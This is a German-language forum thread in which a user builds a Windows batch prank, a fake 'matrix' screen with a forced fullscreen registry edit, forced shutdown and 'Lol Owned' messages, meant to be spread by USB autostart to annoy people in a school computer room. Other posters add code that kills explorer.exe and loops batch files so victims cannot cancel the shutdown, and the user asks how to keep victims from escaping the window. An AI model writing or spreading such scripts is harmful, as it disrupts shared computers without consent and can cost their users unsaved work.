-
ich kapier dein vorhaben nbicht zu 100%.
beschreib doch mal schritt für schritt was du getan hast und achte dabei bitte darauf, dass man auch versteht was du meinst (bissl rechtschreibung machts leicher xD).
jetzt verlier ich nämlich den überblick, dachte du willst einen matrix code starten lassen, und ihn per tastetndruck beenden lassen, aber anscheinend willst du was andres. also bitte, erklär mal, in einem text, schritt für schritt dein vorhaben und kopier am besten den code mal rein, den gesamten der damit zusammenhängt, nicht nur eine zeile.
Lg ;)
-
Ok hier mein code:
Code:
echo @echo off > matrix.bat
echo color a >> matrix.bat
echo :10 >> matrix.bat
echo echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% >> matrix.bat
echo goto 10 >> matrix.bat
start matrix.bat
reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "1" /f > nul
msg * Tipp:BlaBla
::hier will ich einbauen das er wenn ich eine taste drücke "reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "0" /f > nul " ausführt
::soweit habe ich das entwickelt
shutdown -s -f -t 300 -c "Lol Owned BlaBla"
Meine Frage steht im code aber ich stelle sie nochmal:
Wie lasse ich das script so lange warten bis zum ausführen bis ich eine taste drücke
und funktioniert das script auf XP (ich habe nur Vista und da geht dieser reg key nicht)
-
xP man kann aber ja dann auch einfach "Ausführen" öffnen und "shutdown -a" ohne Anführungszeichen eingeben ^^
dann wird das Herunterfahren auch beendet (also der Pc läuft normal weiter!)
-
gegen das "shutdown -a" sollte folgendes helfen:
---------------
shutdown -s -f -t 30 -c "Lol Owned Blablabla"
taskkill /IM explorer.exe
echo :1 > 1.bat
echo start 1.bat > 1.bat
echo goto 1 > 1.bat
start 1.bat
---------------
sollte eigentlich lange genug beschäftigen!
hab übrigens 300 sekunden mit 30 ersetzt
zugegeben: wenn jemand auch nur ein wenig mehr ahnung hat ist auch das kein problem...
aber soll ja kein sysfucker werden ;)
-
Nein ich möchte ein script haben das wenn ich eine bestimmte taste drückt
Code:
reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "0" /f > nul
ausführt
-
habs mir ma kopiert, in editor geschmissen und .bat abgespeichert, und angeschaut^^
sieht ja bis jez cool aus, nur ein bisschen müllig und durcheinander finde ich..
-
Danke man muss auch nicht zu hohe erwartungen an das teil haben,
will nur im computerraum die leute ein bisschen ärgern(ich mache es auf meinen
usb stick und schreib ne autostart datei.
ich würde mich freunen wenn mir jemand sagen könnte wie man bei batch auf tastendruck
Code:
reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "0" /f > nul
ausführen lassen kann
-
http://www.source-center.de/forum/sh...ad.php?t=47200
das könnte dir weiterhelfen...
ansonsten vl sowas (da musst du allerdings nicht nur eine taste drücken sondern beispielsweise den befehl "fullscreen" eingeben)
Code:
@echo off
title eingabe
color a
:A
set input=
set /p input=input:
if %input%==fullscreen goto b
goto A
:b
reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "0" /f > nul
goto A
-
K danke das hat mir geholfen. habe aber noch eine frage,
wie geht ein command, das ich eine andere batchdatei schließe
Added after 52 minutes:
Ja es klappt.
matrix.bat:
Code:
::made by Systemless
@echo off
echo noinput > 1.txt
color 2
start stopit.bat
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
set /p hlp= < 1.txt
if "%hlp:~0,7%"=="noinput" goto start
echo noinput > 1.txt
Und die Stupit.bat(die shutdowns sind zum testen als comments gesetzt):
Code:
::Made by Systemless
@echo off
mode 40,7
title Eingabefenster
:anfang
cls
echo ****************************************
echo **************Eingabe Hier**************
echo ******Schreibe Tipp für einen Tipp******
echo ****************************************
set /p a=
if /I %a%==stopit goto shutdown
if /I %a%==plzstopit goto win
if /I %a%==Tipp goto shutdowntipp
ping 127.0.0.1 -n 1 > nul
goto falsch
:falsch
::shutdown.exe -r -f -t 300 || shutdown.exe /r /f /t 300
goto anfangohne
:shutdowntipp
::shutdown.exe -r -f -t 300 || shutdown.exe /r /f /t 300
goto tipp
:shutdown
::shutdown.exe -r -f -t 300 || shutdown.exe /r /f /t 300
goto countdown
:tipp
cls
msg * Hör auf auf Englisch, aber höflich! || echo Hör auf auf Englisch, aber höflich!
timeout 5
goto anfangohne
:anfangohne
cls
echo ****************************************
echo **************Eingabe Hier**************
echo ******Schreibe Tipp für einen Tipp******
echo ****************************************
set /p a=
if /I %a%==stopit goto countdown
if /I %a%==plzstopit goto win
if /I %a%==tipp goto tipp
ping 127.0.0.1 -n 1 > nul
goto anfangohne
:countdown
cls
::shutdown.exe -r -f -t 300 || shutdown.exe /r /f /t 300
cls
echo This wasn't polite.
ping 127.0.0.1 -n 3 >nul && cls
echo Please Wait..
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait...
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait....
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait.....
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait......
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait.......
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait........
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait.........
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait..........
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait...........
ping 127.0.0.1 -n 2 >nul && cls
echo Please Wait............
ping 127.0.0.1 -n 2 >nul && cls
:wahl
cls
set /P w= Nochmal Probieren?[y]/[n]
if /I "%w%"=="y" goto anfangohne
if /I "%w%"=="n" goto owned
echo Wrong Input: [%w%]
pause
goto wahl
:win
cls
reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "0" /f > nul
echo ende > 1.txt
shutdown.exe -a || shutdown.exe /a
pause
exit
:owned
cls
set /P h= Bist du dir sicher?[y]/[n]
if /I "%h%"=="y" goto anfangohne
if /I "%h%"=="n" goto youarestupid
goto owned
:youarestupid
cls
set /P d= Es wird schrekliche konsequenzen haben [y]/[n]
if /I "%d%"=="y" goto anfangohne
if /I "%d%"=="n" goto stupid
goto youarestupid
:stupid
::shutdown.exe -s -f -t 10 || shutdown.exe /s /f /t 10
msg * "Owned"
exit
Added after 1 hours 14 minutes:
kann man unterbinden das man in stop.bat commandos wie "exit" schreiben kann?